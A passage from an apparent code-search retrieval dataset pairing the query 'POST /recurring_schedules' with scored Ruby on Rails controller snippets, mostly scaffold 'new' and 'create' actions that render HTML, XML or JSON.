"text": "def new\n respond_to do |format|\n format.html # new.html.haml\n format.xml { render :xml => @school }\n end\n end",
"title": ""
},
{
"docid": "3d02134f5ad2b1ef5553c0c09c737f73",
"score": "0.63262177",
"text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tool_part }\n format.xml { render xml: @tool_part }\n end\n end",
"title": ""
},
{
"docid": "13df4873bb58d44ffc60f1a537c9170c",
"score": "0.6325346",
"text": "def new\n @sentence = Sentence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sentence }\n end\n end",
"title": ""
},
{
"docid": "a83a5abaa3d20832ea6b2d003d83fcc3",
"score": "0.6324208",
"text": "def new\n @suite = Suite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @suite }\n end\n end",
"title": ""
},
{
"docid": "638936da34cbcb073b89ac9251a8086b",
"score": "0.6320771",
"text": "def new\n @title = \"New income classification\"\n @incomeclassification = Incomeclassification.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @incomeclassification }\n end\n end",
"title": ""
},
{
"docid": "747ed3f40090129ee1294eb9201539fe",
"score": "0.6318429",
"text": "def new\n @library_doc = LibraryDoc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @library_doc }\n end\n end",
"title": ""
},
{
"docid": "70d3b0fc9c7803c54d5615e388db8e09",
"score": "0.63153946",
"text": "def new\n @specification = Specification.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @specification }\n end\n end",
"title": ""
},
{
"docid": "a090ddaf839578568ed168d021c93cf0",
"score": "0.6311685",
"text": "def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"title": ""
},
{
"docid": "a090ddaf839578568ed168d021c93cf0",
"score": "0.6311685",
"text": "def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"title": ""
},
{
"docid": "3d53d4ff42c634534fc159712f300a45",
"score": "0.6305304",
"text": "def create\n @model = Model.new(params[:model])\n\n respond_to do |format|\n if @model.save\n format.html { redirect_to(models_path, :notice => t(:model_created)) }\n format.xml { render :xml => @model, :status => :created, :location => @model }\n else\n @title = t :new_model_title\n format.html { render :action => \"new\" }\n format.xml { render :xml => @model.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "01a5035e7aef0958e4e2b775c894cf50",
"score": "0.6304964",
"text": "def new\n @title = \"New region\"\n @region = RegionTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @region }\n end\n end",
"title": ""
},
{
"docid": "0139ff7126afdafb90132b21ea49098b",
"score": "0.63039005",
"text": "def new\n @matter = Matter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @matter }\n end\n end",
"title": ""
},
{
"docid": "463f26c89359eb0ffdb7c521dbdda2b4",
"score": "0.62978077",
"text": "def new\n @node = Node.new(:displayed => true)\n @node.template = Template.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"title": ""
},
{
"docid": "20fa4f9f2853b0f32b647adc541855d5",
"score": "0.62938076",
"text": "def new\n @service = Service.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml\n end\n end",
"title": ""
},
{
"docid": "8b4e44185b3f39b550fa325139fa6e7d",
"score": "0.6289931",
"text": "def new\n @thing = Thing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @thing }\n end\n end",
"title": ""
},
{
"docid": "d86f35f33154aab7845e0980a40d41ea",
"score": "0.6287321",
"text": "def new\n @doc = Doc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @doc }\n end\n end",
"title": ""
},
{
"docid": "345c500596158ee84b0ede08854edfd7",
"score": "0.6285201",
"text": "def new\n @title = \"New Operations\"\n @operation = Operation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @operation }\n end\n end",
"title": ""
},
{
"docid": "f91cba98a8c51616ccd05281af6a986a",
"score": "0.6283456",
"text": "def new\n @model = Model.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @model }\n end\n end",
"title": ""
},
{
"docid": "f91cba98a8c51616ccd05281af6a986a",
"score": "0.6283456",
"text": "def new\n @model = Model.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @model }\n end\n end",
"title": ""
},
{
"docid": "f91cba98a8c51616ccd05281af6a986a",
"score": "0.6283456",
"text": "def new\n @model = Model.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @model }\n end\n end",
"title": ""
},
{
"docid": "f91cba98a8c51616ccd05281af6a986a",
"score": "0.6283456",
"text": "def new\n @model = Model.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @model }\n end\n end",
"title": ""
},
{
"docid": "71bf7f2b80d8a96ab29101a02f587c17",
"score": "0.6281614",
"text": "def new\n @software = Software.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @software }\n end\n end",
"title": ""
},
{
"docid": "71bf7f2b80d8a96ab29101a02f587c17",
"score": "0.6281614",
"text": "def new\n @software = Software.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @software }\n end\n end",
"title": ""
},
{
"docid": "71bf7f2b80d8a96ab29101a02f587c17",
"score": "0.6281614",
"text": "def new\n @software = Software.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @software }\n end\n end",
"title": ""
},
{
"docid": "dae2c973daa09d5e691d485af76b12a2",
"score": "0.62793833",
"text": "def create\n @section = Section.new(params[:section])\n\n respond_to do |format|\n if @section.save\n format.html { redirect_to(@section, :notice => 'Section was successfully created.') }\n format.xml { render :xml => @section, :status => :created, :location => @section }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @section.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5e37b19e1866897c071e49aed5cd4691",
"score": "0.6278447",
"text": "def new\n @modulo = Modulo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @modulo }\n end\n end",
"title": ""
},
{
"docid": "41513d3630a64bf0262754764f354c30",
"score": "0.62769085",
"text": "def create\n @car_model_section = CarModelSection.new(params[:car_model_section])\n\n respond_to do |format|\n if @car_model_section.save\n format.html { redirect_to(@car_model_section, :notice => 'Car model section was successfully created.') }\n format.xml { render :xml => @car_model_section, :status => :created, :location => @car_model_section }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @car_model_section.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1c6c1852ecaf93d79602e9aca22ef83c",
"score": "0.6273678",
"text": "def new\n @scenario = Scenario.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @scenario }\n end\n end",
"title": ""
},
{
"docid": "b05143a1ddbdfa9e602d2b5517e17e2a",
"score": "0.6273082",
"text": "def new\n @spiel = Spiel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @spiel }\n end\n end",
"title": ""
},
{
"docid": "741bc32baa5592903d90ef2067b828a2",
"score": "0.6272994",
"text": "def new\n @page = current_cms.pages.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"title": ""
},
{
"docid": "8b2ce34d7d3cf2719a46eab2aa1c1a22",
"score": "0.6268797",
"text": "def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news }\n end\n end",
"title": ""
},
{
"docid": "8b2ce34d7d3cf2719a46eab2aa1c1a22",
"score": "0.6268797",
"text": "def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news }\n end\n end",
"title": ""
},
{
"docid": "8b2ce34d7d3cf2719a46eab2aa1c1a22",
"score": "0.6268797",
"text": "def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news }\n end\n end",
"title": ""
},
{
"docid": "81a04b7b214f3897a5bcc6b94b1d80e5",
"score": "0.62663484",
"text": "def new\n @lens_model = LensModel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lens_model }\n end\n end",
"title": ""
},
{
"docid": "23cdde8d4b1a2be0bc3eecca07b39e74",
"score": "0.6265351",
"text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ontology }\n end\n end",
"title": ""
},
{
"docid": "f1dbdfab6999af4c55170f739e4b94d5",
"score": "0.6261672",
"text": "def new\n @part = Part.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @part }\n end\n end",
"title": ""
},
{
"docid": "90a420e12d05de5687d1b5a16a933f59",
"score": "0.62559164",
"text": "def new\n @research = Research.new\n @page_title = \"Request research from White House 2 members\"\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @research.to_xml(:except => [:email]) }\n end\n end",
"title": ""
},
{
"docid": "3bd50dc112edbb67d424ed2542a51ee8",
"score": "0.62554175",
"text": "def new\n @service_version = ServiceVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service_version }\n end\n end",
"title": ""
},
{
"docid": "ff930af24aee33e60be08464dc0b858b",
"score": "0.62535125",
"text": "def new\n @admin_section = true\n @course_category = CourseCategory.new\n @page_title = \"New Course Category\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @course_category }\n end\n end",
"title": ""
}
] |
841e983ae4589069bd0ae96f2a86cc69 | POST /recurring_schedules POST /recurring_schedules.json | [
{
"docid": "7cf33607aa345e1ec6db737ddc31d642",
"score": "0.75811446",
"text": "def create\n @recurring_schedule = RecurringSchedule.new(recurring_schedule_params)\n\n respond_to do |format|\n if @recurring_schedule.save\n format.html { redirect_to @recurring_schedule, notice: 'Recurring schedule was successfully created.' }\n format.json { render :show, status: :created, location: @recurring_schedule }\n else\n format.html { render :new }\n format.json { render json: @recurring_schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] | [
{
"docid": "490761003340191c1a9f660a394e1a01",
"score": "0.6955073",
"text": "def create\n @recurring_event = RecurringEvent.new(recurring_event_params)\n\n respond_to do |format|\n if @recurring_event.save\n @recurring_event.schedule_recurring_events.each do |event|\n @recurring_event.events << Event.new(title: @recurring_event.title,\n color: @recurring_event.color, recurring_event: @recurring_event,\n turma_id: params[:outros][:turma_id],\n discipline_id: params[:outros][:discipline_id],\n start_date: formatar_data_evento(event, @recurring_event.start_date),\n end_date: formatar_data_evento(event, @recurring_event.end_date)\n )\n end\n format.html { redirect_to @recurring_event, notice: 'Recurring event was successfully created.' }\n format.json { render :show, status: :created, location: @recurring_event }\n else\n format.html { render :new }\n format.json { render json: @recurring_event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "edc9ba856d180fd3f81fe90f9c480c69",
"score": "0.69470364",
"text": "def schedule(params = {})\n post @endpoint, params\n end",
"title": ""
},
{
"docid": "589740a86f4af51f3004edd516c70d76",
"score": "0.6929516",
"text": "def schedule(params = {})\n post @endpoint, params\n end",
"title": ""
},
{
"docid": "2f09178bb29d91cf77f14de5538d91d2",
"score": "0.69011724",
"text": "def create_schedule(options={})\n create_request(\"nonpci\", CREATE_SCHEDULE_ACTION) do |xml|\n xml['px'].CreateSchedule do\n xml['px'].DigitalKey DirectDebit::Ezidebit::api_digital_key\n options.each { |key,value| xml['px'].send(key, value)}\n end\n end\n response = request_it!\n parse(response, \"generic_status_response\", 'CreateSchedule')\n end",
"title": ""
},
{
"docid": "85b8ae86331e474206a39046ada091dc",
"score": "0.6771666",
"text": "def create\n @recurring = Recurring.new(recurring_params)\n\n respond_to do |format|\n if @recurring.save\n format.html { redirect_to @recurring, notice: 'Recurring was successfully created.' }\n format.json { render :show, status: :created, location: @recurring }\n else\n format.html { render :new }\n format.json { render json: @recurring.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "68609c156ca4796263f427538e4f268a",
"score": "0.6752382",
"text": "def create\n @route_schedule = RouteSchedule.new(route_schedule_params)\n\n if @route_schedule.save\n render json: @route_schedule, status: :created\n else\n render json: @route_schedule.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "e1554471ae2d0fc4cd1ac30bc32d565e",
"score": "0.6743368",
"text": "def create_schedule(options = {})\n params = { query: { overflow: options.fetch(:overflow, false) }}\n params[:schedule] = {\n name: options[:name],\n type: \"schedule\",\n time_zone: options.fetch(:time_zone, \"UTC\"),\n description: options[:description],\n schedule_layers: options[:schedule_layers],\n restrictions: options[:restrictions]\n }\n response = post \"/schedules\", options.merge(params)\n response[:schedule]\n end",
"title": ""
},
{
"docid": "6274fc3ed68a73b3c0362898a758f3f8",
"score": "0.671304",
"text": "def create\n \n params[:days] = params[:days].to_json\n params[:schedule][:days] = params[:days]\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n @user = User.find(@schedule.user_id)\n ScheduleMailer.create_schedule(@schedule, @user).deliver_now\n format.html { redirect_to scheduler_schedules_path(user_id: @user.id), notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ccfdf4d583bc56eadbea820ad00eddfd",
"score": "0.66826135",
"text": "def get_schedule\n # Set the Occurrence start date and time and duration - end_time if the end time of the configured availability\n start_time = self.start_date\n end_time = get_end_date\n\n #Create the inital Schedule\n schedule = Schedule.new(start_time, :end_time => end_time) do |s|\n\n # Add the recurence\n if self.recurring_type.downcase == 'daily'\n # Create a daily occurence if the everyweekday is selected\n s.add_recurrence_rule(Rule.daily) if self.daily_every_weekday == '1'\n\n # OR Create a occurence every x days if the everyweekday is NOT selected\n s.add_recurrence_rule(Rule.daily(self.daily_every_no_days)) if self.daily_every_weekday == '0'\n\n elsif self.recurring_type.downcase == 'weekly'\n #Create the array of weekly days\n weekdays = Array.new\n weekdays.push :sunday if self.weekly_sunday == '1'\n weekdays.push :monday if self.weekly_monday == '1'\n weekdays.push :tuesday if self.weekly_tuesday == '1'\n weekdays.push :wednesday if self.weekly_wednesday == '1'\n weekdays.push :thursday if self.weekly_thursday == '1'\n weekdays.push :friday if self.weekly_friday == '1'\n weekdays.push :saturday if self.weekly_saturday == '1'\n s.add_recurrence_rule(Rule.weekly().day(weekdays))\n\n elsif self.recurring_type.downcase == 'monthly'\n #create a monthly recurrence of the date\n s.add_recurrence_rule(Rule.monthly)\n end\n end\n schedule\n end",
"title": ""
},
{
"docid": "2eab73565e831970184bd9ff34090d6f",
"score": "0.66770554",
"text": "def recurring_schedule_params\n params.require(:recurring_schedule).permit(:style_id, :level_id, :recurring_period_id, :day, :from, :to, :until)\n end",
"title": ""
},
{
"docid": "7dbf32bd4fb1e04e821817a02986e18d",
"score": "0.66680384",
"text": "def create\n @recurring_task = RecurringTask.new(recurring_task_params)\n\n respond_to do |format|\n if @recurring_task.save\n format.html { redirect_to @recurring_task, notice: 'Recurring task was successfully created.' }\n format.json { render :show, status: :created, location: @recurring_task }\n else\n format.html { render :new }\n format.json { render json: @recurring_task.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e86ead3f0a56e5e57600d2c82b7c8d2b",
"score": "0.66657263",
"text": "def create\n @schedule = Schedule.new(schedule_params)\n\n if @schedule.save\n render json: @schedule, status: :created, location: @schedule\n else\n render json: @schedule.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "25effdd7de4d30470b3db5a70f929067",
"score": "0.6659946",
"text": "def create\n @schedule = Schedule.new(schedule_params)\n if @schedule.save\n render json: @schedule\n else\n render json: @schedule.errors\n end\n end",
"title": ""
},
{
"docid": "5505168cb2092ffc92ec71ada4a42265",
"score": "0.66251695",
"text": "def set_recurring_schedule\n @recurring_schedule = RecurringSchedule.find(params[:id])\n end",
"title": ""
},
{
"docid": "88fc055d3978256a9b0b980c6cef3e70",
"score": "0.6613358",
"text": "def create\n @schedule = current_user.schedules.new(schedule_params)\n \n respond_to do |format|\n if @schedule.save\n @schedule.update_weeks\n @schedule.update_days\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "abbcf22caa70a134c9a2dbefbdbead79",
"score": "0.6593216",
"text": "def create\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n for j in 0...@schedule.time_end.to_i-@schedule.time_begin.to_i\n if j%900==0\n Routine.create(polyclinic_id: @schedule.polyclinic_id, post_id: @schedule.post_id, schedule_id: @schedule.id, timing: @schedule.time_begin+j)\n end\n end\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "93c1172410fcb9c411f421e333cd5188",
"score": "0.6563395",
"text": "def index\n @recurring_schedules = RecurringSchedule.all\n end",
"title": ""
},
{
"docid": "14ff17e2f83cf4fcd71deda46f9a948a",
"score": "0.6549388",
"text": "def create_schedule(schedule, options={})\n raise(ArgumentError, \"schedule has the wrong type\") unless schedule.is_a?(Invoicexpress::Models::Schedule)\n\n params = { :klass => Invoicexpress::Models::Schedule, :body => schedule }\n post(\"schedules.xml\", params.merge(options))\n end",
"title": ""
},
{
"docid": "8f0ca9d9fb92adadc35722d701b34f93",
"score": "0.6547344",
"text": "def create\n @rescheduling = Rescheduling.new(params[:rescheduling])\n\n respond_to do |format|\n if @rescheduling.save\n format.html { redirect_to @rescheduling, notice: 'Rescheduling was successfully created.' }\n format.json { render json: @rescheduling, status: :created, location: @rescheduling }\n else\n format.html { render action: \"new\" }\n format.json { render json: @rescheduling.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "160825d998b69fe3e606088d4ab35622",
"score": "0.65213466",
"text": "def create\n @schedule = Schedule.new(schedule_params)\n\n if @schedule.save\n render json: @schedule, status: :created, location: @schedule\n else\n render json: @schedule.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "2f587473919781a266aa3137aa4e3299",
"score": "0.65129125",
"text": "def create\n @recurring_event = RecurringEvent.new(recurring_event_params)\n \n\n respond_to do |format|\n if @recurring_event.save\n format.html { redirect_to @recurring_event, notice: 'Recurring Event was successfully created.' }\n format.json { render :show, status: :created, location: @recurring_event }\n else\n format.html { render :new }\n format.json { render json: @recurring_event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9913b3051d546a9bbf65f4c844850412",
"score": "0.64759266",
"text": "def schedules\n res = request('schedules')\n res.map { |schedule| Schedule.new(schedule) }\n end",
"title": ""
},
{
"docid": "e251bf4acc4193cad4703c896665aa23",
"score": "0.64685357",
"text": "def create\n @reloud_schedule = ReloudSchedule.new(reloud_schedule_params)\n\n respond_to do |format|\n if @reloud_schedule.save\n format.html { redirect_to reloud_schedules_path, notice: 'Reloud schedule was successfully created.' }\n format.json { render json: @reloud_schedule, status: :created, location: @reloud_schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @reloud_schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c4ffe6fb07291bf417e5d291166ec2d7",
"score": "0.6461322",
"text": "def create\n\t\tverify_create_params\n\t\tverify_create_param_values\n\n\t\t@schedule = Schedule.create(name: params[:name],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ttime: params[:time],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tis_active: params[:is_active],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tis_recurring: params[:is_recurring])\n\t\tparams[:days].each do |d|\n\t\t\t@schedule.schedule_days << ScheduleDay.create(day_id: d, schedule_id: @schedule.id)\n\t\tend\n\n\t\tscheduled_car = Car.find(params[:car_id])\n\t\tscheduled_car.schedules << @schedule\n\tend",
"title": ""
},
{
"docid": "5343d9262ec519b270d30809799d3a92",
"score": "0.641602",
"text": "def create\n @schedule = Schedule.new(schedule_params).tap { |schedule| schedule.payee_id = @payee.id }\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @payee, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3dc05329b6c125f93f9bf84e60f0bb37",
"score": "0.64073986",
"text": "def get_schedules(access_token, campaign_id)\n\t\t\t\t\turl = Util::Config.get('endpoints.base_url') + \n\t\t\t\t\t\t\t\tsprintf(Util::Config.get('endpoints.campaign_schedules'), campaign_id)\n\t\t\t\t\turl = build_url(url)\n\t\t\t\t\tresponse = RestClient.get(url, get_headers(access_token))\n\t\t\t\t\tbody = JSON.parse(response.body)\n\n\t\t\t\t\tschedules = []\n\t\t\t\t\tbody.each do |schedule|\n\t\t\t\t\t\tschedules << Components::Schedule.create(schedule)\n\t\t\t\t\tend\n\n\t\t\t\t\tschedules\n\t\t\t\tend",
"title": ""
},
{
"docid": "e7081a4766308af2606fe0c685b3751f",
"score": "0.6405809",
"text": "def create\n authorize! :update, @section\n schedule_params = ActiveSupport::JSON.decode(params[:weekly_schedule])\n start_date = schedule_params[\"date\"]\n @weekly_schedule = WeeklySchedule.find_by_section_id_and_date(\n @section.id,\n start_date\n ) || WeeklySchedule.create(\n :section_id => @section.id,\n :date => start_date\n )\n schedule_attributes = {\n :assignments_attributes => schedule_params[\"assignments\"] || [],\n :shift_week_notes_attributes => schedule_params[\"shift_week_notes_attributes\"] || [],\n :is_published => schedule_params[\"is_published\"] || 0\n }\n @weekly_schedule.update_attributes(schedule_attributes)\n unless @weekly_schedule.errors.any?\n # used to provide an accurate last update date\n @weekly_schedule.touch\n # ensures that relations are fresh for serialization\n @weekly_schedule = WeeklySchedule.find(@weekly_schedule.id)\n end\n render :json => @weekly_schedule.to_json(:only_delta_attributes => true)\n end",
"title": ""
},
{
"docid": "b871dbc028ce9799f7db428ff60dbd87",
"score": "0.6401895",
"text": "def create\n @resource_schedule = ResourceSchedule.new(params[:resource_schedule])\n\n respond_to do |format|\n if @resource_schedule.save\n format.html { redirect_to @resource_schedule, notice: 'Resource schedule was successfully created.' }\n format.json { render json: @resource_schedule, status: :created, location: @resource_schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @resource_schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e056663b431870396ad535bae37bee24",
"score": "0.63864076",
"text": "def schedule(name, data, schedule)\n puts \"Scheduling #{name}...\"\n raise \"Schedule must be a hash.\" if !schedule.is_a? Hash\n hash_to_send = {}\n schedules = []\n schedule[\"payload\"] = data.to_json\n schedule[\"name\"] = name unless schedule[\"name\"]\n schedule[\"code_name\"] = name unless schedule[\"code_name\"]\n schedules << schedule\n hash_to_send[\"schedules\"] = schedules\n add_sw_params(hash_to_send)\n# puts ' about to send ' + hash_to_send.inspect\n uri = project_url_prefix(get_project_id(data)) + \"schedules\"\n ret = post(uri, hash_to_send)\n ret\n end",
"title": ""
},
{
"docid": "67daca28b0b9414f53e2e501f6a43764",
"score": "0.63676775",
"text": "def create\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3ac6b3b465a6e5f4f6428bfca7c24349",
"score": "0.6366626",
"text": "def create\n @reminder_schedule = ReminderSchedule.new(reminder_schedule_params)\n\n respond_to do |format|\n if @reminder_schedule.save\n format.html { redirect_to @reminder_schedule, notice: 'Reminder schedule was successfully created.' }\n format.json { render :show, status: :created, location: @reminder_schedule }\n else\n format.html { render :new }\n format.json { render json: @reminder_schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f39645749eb9f999839134a46e95c362",
"score": "0.63621473",
"text": "def create\n @schedule = Schedule.create( name: 'New Schedule' )\n\n render json: @schedule.as_json\n end",
"title": ""
},
{
"docid": "8db2251fb79f4d5ac410eeb2666a3524",
"score": "0.63580066",
"text": "def create\n @schedule = Schedule.create name: 'New Schedule'\n\n render json: @schedule.as_json\n end",
"title": ""
},
{
"docid": "c67a3e6e0aef70628471862ba6e44b02",
"score": "0.6357133",
"text": "def fee_schedule(params = {})\n response = get('/api/billing/feeschedule', params)\n response = deconstruct_array(response)\n\n Finfolio::API::FeeSchedule.new(response)\n end",
"title": ""
},
{
"docid": "11e01314885a59a7ccd1b12ec7752fc0",
"score": "0.6356018",
"text": "def create\n @schedule = Schedule.new(params[:schedule])\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to schedules_path, notice}#: 'Schedule was successfully created.' }\n format.json { render json: @schedule, status: :created, location: @schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a87cfaaedcc8b88b6171f272621e9f1c",
"score": "0.6340867",
"text": "def create\n @schedule = Schedule.new(schedule_params)\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6d26c65160cf62d2eeb4ccbd50adf63d",
"score": "0.63337004",
"text": "def create\n @recurring_period = RecurringPeriod.new(recurring_period_params)\n\n respond_to do |format|\n if @recurring_period.save\n format.html { redirect_to @recurring_period, notice: 'Recurring period was successfully created.' }\n format.json { render :show, status: :created, location: @recurring_period }\n else\n format.html { render :new }\n format.json { render json: @recurring_period.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b600ab363ec420a2c1b9b20e4d1c61cd",
"score": "0.6330856",
"text": "def create\n @schedule = Schedule.new(params[:schedule])\n @schedule.schedule_plan = SchedulePlan.find(params[:schedule_plan_id]) unless @schedule.schedule_plan\n \n respond_to do |format|\n if @schedule.save\n format.html { redirect_to schedule_plan_schedule_path(@schedule.schedule_plan.id, @schedule.id), notice: 'Schedule was successfully created.' }\n format.json { render :json => @schedule.to_json(:except => [:created_at, :updated_at]), status: :created, location: @schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "59ee53b18fff9c233b33b5da1e9c9cc9",
"score": "0.6322343",
"text": "def create\n @schedule = Schedule.new(schedule_params)\n \n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n # format.json { render :show, status: :created, location: @schedule }\n format.json { return render json: { data: @schedule, fandom: @schedule.fandom, status: :created} }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d7b1952cccbbb554e8441ab383fd5341",
"score": "0.6315672",
"text": "def create\n @schedule = Schedule.new(schedule_params)\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: \"Schedule was successfully created.\" }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3783b9b350e5fd134fe2c887a4ba81a1",
"score": "0.63131356",
"text": "def create\n @schedule = Schedule.new(schedule_params)\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to calendar_path, notice: 'スケジュールが作成されました。' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7b75275f454724558416bbda928bdf26",
"score": "0.6312485",
"text": "def create\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7b75275f454724558416bbda928bdf26",
"score": "0.6312485",
"text": "def create\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7b75275f454724558416bbda928bdf26",
"score": "0.6312485",
"text": "def create\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7b75275f454724558416bbda928bdf26",
"score": "0.6312485",
